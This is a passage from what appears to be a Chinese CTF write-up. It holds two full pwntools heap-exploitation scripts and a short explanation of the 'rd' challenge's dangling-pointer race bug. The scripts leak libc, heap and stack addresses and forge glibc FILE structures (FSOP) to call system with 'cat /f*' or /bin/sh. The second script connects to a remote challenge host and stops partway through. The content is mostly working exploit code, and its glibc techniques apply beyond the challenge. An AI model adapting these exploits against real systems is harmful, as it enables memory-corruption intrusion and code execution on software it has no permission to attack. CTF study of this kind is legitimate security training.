<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">new</span>(<span class="params">content</span>):</span>
<span class="line">    payload = <span class="string">b&#x27;new &#x27;</span> + content</span>
<span class="line">    sla(<span class="string">&#x27;&gt;&#x27;</span>, payload)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">set_max</span>(<span class="params">idx, size</span>):</span>
<span class="line">    payload = <span class="string">b&#x27;set_max &#x27;</span> + <span class="built_in">str</span>(size).encode() + <span class="string">b&#x27; &#x27;</span> + <span class="built_in">str</span>(idx).encode()</span>
<span class="line">    sla(<span class="string">&#x27;&gt;&#x27;</span>,payload)</span>
<span class="line">    </span>
<span class="line"><span class="keyword">def</span> <span class="title function_">plus_eq</span>(<span class="params">idx1, idx2</span>):</span>
<span class="line">    payload = <span class="string">b&#x27;+= &#x27;</span> + <span class="built_in">str</span>(idx1).encode() + <span class="string">b&#x27; &#x27;</span> + <span class="built_in">str</span>(idx2).encode()</span>
<span class="line">    sla(<span class="string">&#x27;&gt;&#x27;</span>, payload)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">plus</span>(<span class="params">idx1, idx2</span>):</span>
<span class="line">    payload = <span class="string">b&#x27;+ &#x27;</span> + <span class="built_in">str</span>(idx1).encode() + <span class="string">b&#x27; &#x27;</span> + <span class="built_in">str</span>(idx2).encode()</span>
<span class="line">    sla(<span class="string">&#x27;&gt;&#x27;</span>, payload)</span>
<span class="line">    </span>
<span class="line"><span class="keyword">def</span> <span class="title function_">print_max</span>(<span class="params">idx</span>):</span>
<span class="line">    payload = <span class="string">b&#x27;print_max &#x27;</span>+ <span class="built_in">str</span>(idx).encode()</span>
<span class="line">    sla(<span class="string">&#x27;&gt;&#x27;</span>, payload)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">print_c</span>(<span class="params">idx</span>):</span>
<span class="line">    payload = <span class="string">b&#x27;print &#x27;</span>+ <span class="built_in">str</span>(idx).encode()</span>
<span class="line">    sla(<span class="string">&#x27;&gt;&#x27;</span>, payload)</span>
<span class="line">    </span>
<span class="line"><span class="keyword">def</span> <span class="title function_">modify</span>(<span class="params">idx, offset, val</span>):</span>
<span class="line">    payload = <span class="string">b&#x27;modify &#x27;</span> + <span class="built_in">str</span>(idx).encode() + <span class="string">b&#x27; &#x27;</span> + <span class="built_in">str</span>(offset).encode() + <span class="string">b&#x27; &#x27;</span> + <span class="built_in">str</span>(val).encode()</span>
<span class="line">    sla(<span class="string">&#x27;&gt;&#x27;</span>, payload)</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line">    new(<span class="string">b&#x27;9&#x27;</span>) <span class="comment"># 0</span></span>
<span class="line">    new(<span class="string">b&#x27;8&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    new(<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x300</span>) <span class="comment"># 2</span></span>
<span class="line">    new(<span class="string">b&#x27;b&#x27;</span>*<span class="number">0x300</span>)</span>
<span class="line"></span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">2</span>, <span class="number">0x20</span>):</span>
<span class="line">        new(<span class="string">b&#x27;1&#x27;</span>*<span class="number">0x80</span>)</span>
<span class="line"></span>
<span class="line">    set_max(<span class="number">33</span>, <span class="number">9</span>)</span>
<span class="line">    set_max(<span class="number">2</span>, <span class="number">9</span>)</span>
<span class="line"></span>
<span class="line">    plus_eq(<span class="number">0</span>, <span class="number">1</span>)</span>
<span class="line">    plus_eq(<span class="number">0</span>, <span class="number">1</span>)</span>
<span class="line">    plus_eq(<span class="number">0</span>, <span class="number">1</span>)</span>
<span class="line">    plus_eq(<span class="number">0</span>, <span class="number">1</span>)</span>
<span class="line"></span>
<span class="line"></span>
<span class="line">    plus_eq(<span class="number">33</span>, <span class="number">5</span>)</span>
<span class="line">    plus_eq(<span class="number">33</span>, <span class="number">5</span>)</span>
<span class="line">    plus_eq(<span class="number">33</span>, <span class="number">5</span>)</span>
<span class="line"></span>
<span class="line">    new(<span class="string">b&#x27;meow&#x27;</span>*<span class="number">0x20</span>) <span class="comment"># 34</span></span>
<span class="line"></span>
<span class="line">    print_c(<span class="number">33</span>)</span>
<span class="line">    p.recvuntil(<span class="string">b&#x27;1&#x27;</span>*<span class="number">0x88</span>)</span>
<span class="line">    p.recv(<span class="number">0x8</span>)</span>
<span class="line">    unitype = u64(p.recv(<span class="number">8</span>))</span>
<span class="line"></span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(unitype))</span>
<span class="line">    </span>
<span class="line">    <span class="comment"># new(b&#x27;1&#x27;*0x10 + p64(0) + p64(1) + p64(unitype) + b&#x27;\xff&#x27;) # 35</span></span>
<span class="line">    new(<span class="string">b&#x27;1&#x27;</span>*<span class="number">0x10</span>)</span>
<span class="line"></span>
<span class="line">    plus_eq(<span class="number">2</span>, <span class="number">35</span>)</span>
<span class="line">    plus_eq(<span class="number">2</span>, <span class="number">35</span>)</span>
<span class="line">    plus_eq(<span class="number">2</span>, <span class="number">35</span>)</span>
<span class="line"></span>
<span class="line">    <span class="keyword">def</span> <span class="title function_">write_at</span>(<span class="params">off, content</span>):</span>
<span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">8</span>):</span>
<span class="line">            modify(<span class="number">2</span>, off+i, content[i])</span>
<span class="line">    <span class="comment"># write_at(0x310, p64(0x241))</span></span>
<span class="line">    <span class="comment"># write_at(0x318, p64(0x1))</span></span>
<span class="line">    write_at(<span class="number">0x320</span>, p64(unitype))</span>
<span class="line">    write_at(<span class="number">0x328</span>, p64(<span class="number">0x1000</span>, sign=<span class="string">&#x27;signed&#x27;</span>))</span>
<span class="line"></span>
<span class="line">    print_c(<span class="number">3</span>)</span>
<span class="line">    p.recvuntil(p64(<span class="number">0xd51</span>))</span>
<span class="line">    libcbase = u64(p.recv(<span class="number">8</span>)) - <span class="number">0x204120</span></span>
<span class="line">    p.recv(<span class="number">8</span>)</span>
<span class="line">    haddr = u64(p.recv(<span class="number">8</span>)) - <span class="number">0x9f8</span></span>
<span class="line">    write_at(<span class="number">0x328</span>, p64(<span class="number">0x800000000000</span>))</span>
<span class="line"></span>
<span class="line">    <span class="keyword">def</span> <span class="title function_">write_at</span>(<span class="params">off, content</span>):</span>
<span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">8</span>):</span>
<span class="line">            modify(<span class="number">3</span>, off+i, content[i])</span>
<span class="line">    write_at(libcbase+libc.sym[<span class="string">&#x27;_IO_list_all&#x27;</span>] - haddr, p64(haddr+<span class="number">0x100</span>))</span>
<span class="line"></span>
<span class="line">    <span class="comment"># 0x0    rdi             0x8   _IO_read_ptr</span></span>
<span class="line">    <span class="comment"># 0x10  _IO_read_end     0x18  _IO_read_base</span></span>
<span class="line">    <span class="comment"># 0x20  _IO_write_base   0x28  _IO_write_ptr</span></span>
<span class="line">    <span class="comment"># 0x30  _IO_write_end    0x38  _IO_buf_base</span></span>
<span class="line">    <span class="comment"># 0x40  _IO_buf_end      0x48  _IO_save_base</span></span>
<span class="line">    <span class="comment"># 0x50  _IO_backup_base  0x58  _IO_save_end</span></span>
<span class="line">    <span class="comment"># 0x60  _markers         0x68  _chain</span></span>
<span class="line">    <span class="comment"># 0x70  _fileno          0x74  _flags2</span></span>
<span class="line">    <span class="comment"># 0x78  _old_offset      0x80  _cur_column</span></span>
<span class="line">    <span class="comment"># 0x82  _vtable_offset   0x83  _shortbuf</span></span>
<span class="line">    <span class="comment"># 0x88  _lock            0x90  _offset</span></span>
<span class="line">    <span class="comment"># 0x98  _codecvt         0xa0  _wide_data</span></span>
<span class="line">    <span class="comment"># 0xa8  _freeres_list    0xb0  _freeres_buf</span></span>
<span class="line">    <span class="comment"># 0xb8  __pad5           0xc0  _mode</span></span>
<span class="line">    <span class="comment"># 0xc4  _unused2         0xd8  vtable</span></span>
<span class="line">    libc.address = libcbase</span>
<span class="line">    fake_file = haddr+<span class="number">0x100</span></span>
<span class="line">    payload = flat(&#123;</span>
<span class="line">        <span class="number">0x0</span> : <span class="number">0xfbad1800</span>,</span>
<span class="line">        <span class="number">0x28</span>: <span class="number">1</span>,</span>
<span class="line"></span>
<span class="line">        <span class="number">0xa0</span>: fake_file,</span>
<span class="line">        <span class="number">0x68</span>: libcbase + <span class="number">0x16e828</span>,</span>
<span class="line">        <span class="number">0x8</span>:  fake_file + <span class="number">0x70</span>,</span>
<span class="line">        <span class="number">0x78</span>: libcbase + <span class="number">0x171bd9</span>,</span>
<span class="line">        <span class="number">0x70</span>: fake_file + <span class="number">0x58</span>,</span>
<span class="line">        <span class="number">0x58</span>: <span class="string">b&#x27;cat /f*\x00&#x27;</span>,</span>
<span class="line">        <span class="number">0x90</span>: fake_file + <span class="number">0x90</span>,</span>
<span class="line">        <span class="number">0x98</span>: libc.sym[<span class="string">&#x27;system&#x27;</span>],</span>
<span class="line"></span>
<span class="line">        <span class="number">0x88</span>: libcbase + <span class="number">0x205720</span>,</span>
<span class="line">        <span class="number">0x10</span>: <span class="number">1</span>,</span>
<span class="line">        <span class="number">0xd8</span> : libc.sym[<span class="string">&#x27;_IO_wfile_jumps&#x27;</span>],</span>
<span class="line">        <span class="number">0xe0</span> : fake_file</span>
<span class="line">    &#125;, filler =<span class="string">b&#x27;\x00&#x27;</span>).ljust(<span class="number">0x180</span>, <span class="string">b&#x27;\0&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(payload)):</span>
<span class="line">        modify(<span class="number">3</span>, <span class="number">0x100</span>+i, payload[i])</span>
<span class="line"></span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(libcbase))</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(haddr))</span>
<span class="line">    pause()</span>
<span class="line">    p.shutdown(<span class="string">&quot;send&quot;</span>)</span>
<span class="line">    p.interactive()</span>
<span class="line">    <span class="comment"># print_c(3)</span></span>
<span class="line">    <span class="comment"># print_max(2)</span></span>
<span class="line">    <span class="comment"># modify(2, 0x250, 0xff)</span></span>
<span class="line">pwn()</span>
</pre></td></tr></table></figure>

<p>PS：如果发送端关闭<code>python</code>会进入<code>exit</code>流程，但是直接<code>Ctrl+C</code>同时也会关闭接收端，所以用<code>shutdown</code>只关闭接收端，远程读取<code>flag</code>后回显即可。</p>
<h1 id="rd"><a href="https://imi-imiab.com/posts/cnblogs-19254887/#rd" class="headerlink" title="rd"></a>rd</h1><p>本题漏洞为对象<code>task</code>指针未清空。如果我们能把一个已经<code>free</code>的对象申请回来，配合<code>task_run</code>就是一个竞态堆溢出。</p>
<p>然后就是耐心风水，泄漏堆栈地址然后打<code>FSOP</code>……（注意task-&gt;content会被写堆地址，配合前面的漏洞就是一个任意地址写堆地址）</p>
<p>（一开始还试着劫持<code>rbp</code>打栈迁移后面发现还不如打<code>FSOP</code>…）</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename = <span class="string">&#x27;./main&#x27;</span></span>
<span class="line">libc = ELF(<span class="string">&quot;./libc.so.6&quot;</span>)</span>
<span class="line">host= <span class="string">&#x27;1.95.160.168&#x27;</span></span>
<span class="line">port = <span class="number">26001</span></span>
<span class="line"></span>
<span class="line"><span class="comment"># host = &#x27;127.0.0.1&#x27;</span></span>
<span class="line"><span class="comment"># port= 13331</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="string">&quot;d&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = gdb.debug(filename, script)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;l&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;r&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = remote(host, port)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;a&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">        gdb.attach(p, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">go</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">username, passwd, pads = <span class="string">b&#x27;&#x27;</span></span>):</span>
<span class="line">    pay = <span class="string">b&#x27;command:login\n&#x27;</span></span>
<span class="line">    pay += <span class="string">b&#x27;username:&#x27;</span>+ username + <span class="string">b&#x27;\n&#x27;</span></span>
<span class="line">    pay += <span class="string">b&#x27;password:&#x27;</span> + passwd + <span class="string">b&#x27;\n&#x27;</span></span>
<span class="line">    pay += pads</span>
<span class="line">    sl(pay)</span>
<span class="line">    p.recvuntil(<span class="string">&#x27;user_token:&#x27;</span>)</span>
<span class="line">    x = p.recv(<span class="number">32</span>)</span>
<span class="line">    <span class="built_in">print</span>(x)</span>
<span class="line">    <span class="keyword">return</span> x</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">register</span>(<span class="params">username, passwd, pads = <span class="string">b&#x27;&#x27;</span></span>):</span>
<span class="line">    pay = <span class="string">b&#x27;command:register\n&#x27;</span></span>
<span class="line">    pay += <span class="string">b&#x27;username:&#x27;</span>+ username + <span class="string">b&#x27;\n&#x27;</span></span>
<span class="line">    pay += <span class="string">b&#x27;password:&#x27;</span> + passwd + <span class="string">b&#x27;\n&#x27;</span></span>
<span class="line">    pay += pads</span>
<span class="line">    sl(pay)</span>
<span class="line">    p.recvuntil(<span class="string">&#x27;success&#x27;</span>)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">nohup_register</span>(<span class="params">username, passwd, pads = <span class="string">b&#x27;&#x27;</span></span>):</span>
<span class="line">    pay = <span class="string">b&#x27;command:register\n&#x27;</span></span>
<span class="line">    pay += <span class="string">b&#x27;username:&#x27;</span>+ username + <span class="string">b&#x27;\n&#x27;</span></span>
<span class="line">    pay += <span class="string">b&#x27;password:&#x27;</span> + passwd + <span class="string">b&#x27;\n&#x27;</span></span>
<span class="line">    pay += pads</span>
<span class="line">    sl(pay)</span>
<span class="line">    <span class="comment"># p.recvuntil(&#x27;success&#x27;)</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">submit_task</span>(<span class="params">token, raw_content, encrypted = <span class="number">0</span>, pads= <span class="string">b&#x27;&#x27;</span></span>):</span>
<span class="line">    content = <span class="string">b&#x27;&#x27;</span></span>
<span class="line">    <span class="keyword">if</span> encrypted:</span>
<span class="line">        <span class="keyword">for</span> byte <span class="keyword">in</span> raw_content:</span>
<span class="line">            content += <span class="built_in">int</span>.to_bytes(byte ^ <span class="number">0x3f</span>)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        content = raw_content</span>
<span class="line">    pay = <span class="string">b&#x27;command:submit_task\n&#x27;</span></span>
<span class="line">    pay += <span class="string">b&#x27;user_token:&#x27;</span> + token + <span class="string">b&#x27;\n&#x27;</span></span>
<span class="line">    pay += <span class="string">b&#x27;task_content:&#x27;</span> + content + <span class="string">b&#x27;\n&#x27;</span></span>
<span class="line">    pay += pads</span>
<span class="line">    sl(pay)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">deregister</span>(<span class="params">token</span>):</span>
<span class="line">    pay = <span class="string">b&#x27;command:deregister\n&#x27;</span></span>
<span class="line">    pay += <span class="string">b&#x27;user_token:&#x27;</span> + token + <span class="string">b&#x27;\n&#x27;</span></span>
<span class="line">    sl(pay)</span>
<span class="line">    p.recvuntil(<span class="string">&#x27;success&#x27;</span>)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="number">8</span>):</span>
<span class="line">        register(<span class="built_in">str</span>(i).encode(), <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    register(<span class="string">b&#x27;8&#x27;</span>*<span class="number">0x127</span>, <span class="string">b&#x27;t&#x27;</span>*<span class="number">0x127</span>)</span>
<span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">9</span>, <span class="number">16</span>):</span>
<span class="line">        register(<span class="built_in">str</span>(i).encode(), <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    <span class="comment"># pause()</span></span>
<span class="line">    token15 = login(<span class="string">b&#x27;15&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    token14 = login(<span class="string">b&#x27;14&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    token8 = login(<span class="string">b&#x27;8&#x27;</span>*<span class="number">0x127</span>, <span class="string">b&#x27;t&#x27;</span>*<span class="number">0x127</span>)</span>
<span class="line">    token7 = login(<span class="string">b&#x27;7&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    deregister(token8)</span>
<span class="line">    deregister(token7)</span>
<span class="line">    register(<span class="string">b&#x27;7&#x27;</span>, <span class="string">b&#x27;1&#x27;</span>)</span>
<span class="line">    register(<span class="string">b&#x27;8&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    </span>
<span class="line">    submit_task(token15, <span class="string">b&#x27;1&#x27;</span>*<span class="number">0x127</span>)</span>
<span class="line">    deregister(token15)</span>
<span class="line">    deregister(token14)</span>
<span class="line">    register(<span class="string">b&#x27;14&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    register(<span class="string">b&#x27;15&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    token = login(<span class="string">b&#x27;15&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>, <span class="string">b&#x27;1:&#x27;</span>+<span class="string">b&#x27;1&#x27;</span>*<span class="number">0x27</span>)</span>
<span class="line">    submit_task(token, <span class="string">b&#x27;x&#x27;</span>*<span class="number">0x128</span>+p64(<span class="number">0x31</span>)+<span class="string">b&#x27;\xc0&#x27;</span>, <span class="number">1</span>)</span>
<span class="line"></span>
<span class="line">    sleep(<span class="number">4</span>)</span>
<span class="line">    libcbase = u64(login(<span class="string">b&#x27;8&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)[-<span class="number">6</span>:]+<span class="string">b&#x27;\x00\x00&#x27;</span>) + <span class="number">0x39c8</span></span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(libcbase))</span>
<span class="line">    libc.address = libcbase</span>
<span class="line">    <span class="comment"># pause()</span></span>
<span class="line">    <span class="comment">#  </span></span>
<span class="line">    register(<span class="string">b&#x27;1&#x27;</span>*<span class="number">0x47</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x47</span>)</span>
<span class="line">    register(<span class="string">b&#x27;101&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    register(<span class="string">b&#x27;102&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    register(<span class="string">b&#x27;103&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    token13 = login(<span class="string">b&#x27;13&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    token12 = login(<span class="string">b&#x27;12&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    token100 =login(<span class="string">b&#x27;1&#x27;</span>*<span class="number">0x47</span>, <span class="string">b&#x27;a&#x27;</span>*<span class="number">0x47</span>)</span>
<span class="line">    token101 = login(<span class="string">b&#x27;101&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    </span>
<span class="line">    deregister(token100)</span>
<span class="line">    deregister(token101)</span>
<span class="line"></span>
<span class="line">    register(<span class="string">b&#x27;100&#x27;</span>, <span class="string">b&#x27;1&#x27;</span>)</span>
<span class="line">    register(<span class="string">b&#x27;101&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    submit_task(token13, <span class="string">b&#x27;2&#x27;</span>*<span class="number">0x47</span>)</span>
<span class="line"></span>
<span class="line">    deregister(token13)</span>
<span class="line">    deregister(token12)</span>
<span class="line">    register(<span class="string">b&#x27;12&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    register(<span class="string">b&#x27;13&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    token = login(<span class="string">b&#x27;13&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>, <span class="string">b&#x27;1:&#x27;</span>+<span class="string">b&#x27;1&#x27;</span>*<span class="number">0x27</span>)</span>
<span class="line">    </span>
<span class="line">    pay = <span class="string">b&#x27;y&#x27;</span>*<span class="number">0x48</span></span>
<span class="line">    pay += p64(<span class="number">0x31</span>)+<span class="string">b&#x27;z&#x27;</span>*<span class="number">0x28</span></span>
<span class="line">    pay += p64(<span class="number">0x51</span>)+<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x48</span></span>
<span class="line">    pay += p64(<span class="number">0x51</span>)+<span class="string">b&#x27;a&#x27;</span>*<span class="number">0x48</span></span>
<span class="line">    pay += p64(<span class="number">0x31</span>)+<span class="string">b&#x27;o&#x27;</span>*<span class="number">0x28</span></span>
<span class="line">    pay += p64(<span class="number">0x31</span>)+<span class="string">b&#x27;o&#x27;</span>*<span class="number">0x28</span></span>
<span class="line">    pay += p64(<span class="number">0x21</span>)+<span class="string">b&#x27;m&#x27;</span>*<span class="number">0x18</span></span>
<span class="line">    pay += p64(<span class="number">0x31</span>)+p64(libc.sym[<span class="string">&#x27;environ&#x27;</span>])</span>
<span class="line">    submit_task(token, pay , <span class="number">1</span>)</span>
<span class="line">    </span>
<span class="line">    sleep(<span class="number">4</span>)</span>
<span class="line">    binsh = libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).__next__()</span>
<span class="line">    stack = u64(login(<span class="string">b&#x27;102&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>).split(<span class="string">b&#x27; &#x27;</span>)[-<span class="number">1</span>]+<span class="string">b&#x27;\x00\x00&#x27;</span>)</span>
<span class="line">    canary = stack - <span class="number">0x1c0</span></span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(libcbase))</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(stack))</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(binsh))</span>
<span class="line"></span>
<span class="line"><span class="comment"># -------------------------------------------- #</span></span>
<span class="line"></span>
<span class="line">    register(<span class="string">b&#x27;2&#x27;</span>*<span class="number">0x57</span>, <span class="string">b&#x27;d&#x27;</span>*<span class="number">0x57</span>)</span>
<span class="line">    register(<span class="string">b&#x27;201&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    register(<span class="string">b&#x27;202&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    register(<span class="string">b&#x27;203&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    token11 = login(<span class="string">b&#x27;11&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    token10 = login(<span class="string">b&#x27;10&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    token200 =login(<span class="string">b&#x27;2&#x27;</span>*<span class="number">0x57</span>, <span class="string">b&#x27;d&#x27;</span>*<span class="number">0x57</span>)</span>
<span class="line">    token201 = login(<span class="string">b&#x27;201&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    </span>
<span class="line">    deregister(token200)</span>
<span class="line">    deregister(token201)</span>
<span class="line"></span>
<span class="line">    register(<span class="string">b&#x27;200&#x27;</span>, <span class="string">b&#x27;1&#x27;</span>)</span>
<span class="line">    register(<span class="string">b&#x27;201&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    submit_task(token11, <span class="string">b&#x27;+&#x27;</span>*<span class="number">0x57</span>)</span>
<span class="line"></span>
<span class="line">    deregister(token11)</span>
<span class="line">    deregister(token10)</span>
<span class="line">    register(<span class="string">b&#x27;10&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    register(<span class="string">b&#x27;11&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    token = login(<span class="string">b&#x27;11&#x27;</span>, <span class="string">b&#x27;abcdabcd&#x27;</span>)</span>
<span class="line">    </span>
<span class="line">    pay = <span class="string">b&#x27;p&#x27;</span>*<span class="number">0x58</span></span>
<span class="line">    pay += p64(<span class="number">0x31</span>)+<span class="string">b&#x27;i&#x27;</span>*<span class="number">0x28</span></span>
<span class="line">    pay += p64(<span class="number">0x61</span>)+<span class="string">b&#x27;r&#x27;</span>*<span class="number">0x58</span></span>
<span class="line">    pay += p64(<span class="number">0x61</span>)+<span class="string">b&#x27;t&#x27;</span>*<span class="number">0x58</span></span>
<span class="line">    pay += p64(<span class="number">0x31</span>)+<span class="string">b&#x27;s&#x27;</span>*<span class="number">0x28</span></span>
<span class="line">    pay += p64(<span class="number">0x31</span>)+<span class="string">b&#x27;w&#x27;</span>*<span class="number">0x28</span></span>
<span class="line">    pay += p64(<span class="number">0x21</span>)+<span class="string">b&#x27;c&#x27;</span>*<span class="number">0x18</span></span>
<span class="line">    pay += p64(<span class="number">0x31</span>)+p64(libcbase + <span class="number">0x203b20</span>)+p64(binsh)+p64(binsh)+p64(<span class="number">0</span>)+p64(libc.sym[<span class="string">&#x27;stdout&#x27;</span>]-<span class="number">0x20</span>)</span>
<span class="line"></span>
<span class="line">    submit_task(token, pay , <span class="number">1</span>)</span>
<span class="line">    sleep(<span class="number">4</span>)</span>
<span class="line">    token = login(<span class="string">b&#x27;/bin/sh&#x27;</span>, <span class="string">b&#x27;/bin/sh&#x27;</span>).split(<span class="string">b&#x27; &#x27;</span>)[-<span class="number">1</span>]</span>
<span class="line">    top_chunk = u64(token[<span class="number">0</span>:<span class="number">6</span>]+<span class="string">b&#x27;\x00\x00&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    <span class="comment"># 0x0    rdi             0x8   _IO_read_ptr</span></span>
<span class="line">    <span class="comment"># 0x10  _IO_read_end     0x18  _IO_read_base</span></span>
<span class="line">    <span class="comment"># 0x20  _IO_write_base   0x28  _IO_write_ptr</span></span>
<span class="line">    <span class="comment"># 0x30  _IO_write_end    0x38  _IO_buf_base</span></span>
<span class="line">    <span class="comment"># 0x40  _IO_buf_end      0x48  _IO_save_base</span></span>
<span class="line">    <span class="comment"># 0x50  _IO_backup_base  0x58  _IO_save_end</span></span>
<span class="line">    <span class="comment"># 0x60  _markers         0x68  _chain</span></span>
<span class="line">    <span class="comment"># 0x70  _fileno          0x74  _flags2</span></span>
<span class="line">    <span class="comment"># 0x78  _old_offset      0x80  _cur_column</span></span>
<span class="line">    <span class="comment"># 0x82  _vtable_offset   0x83  _shortbuf</span></span>
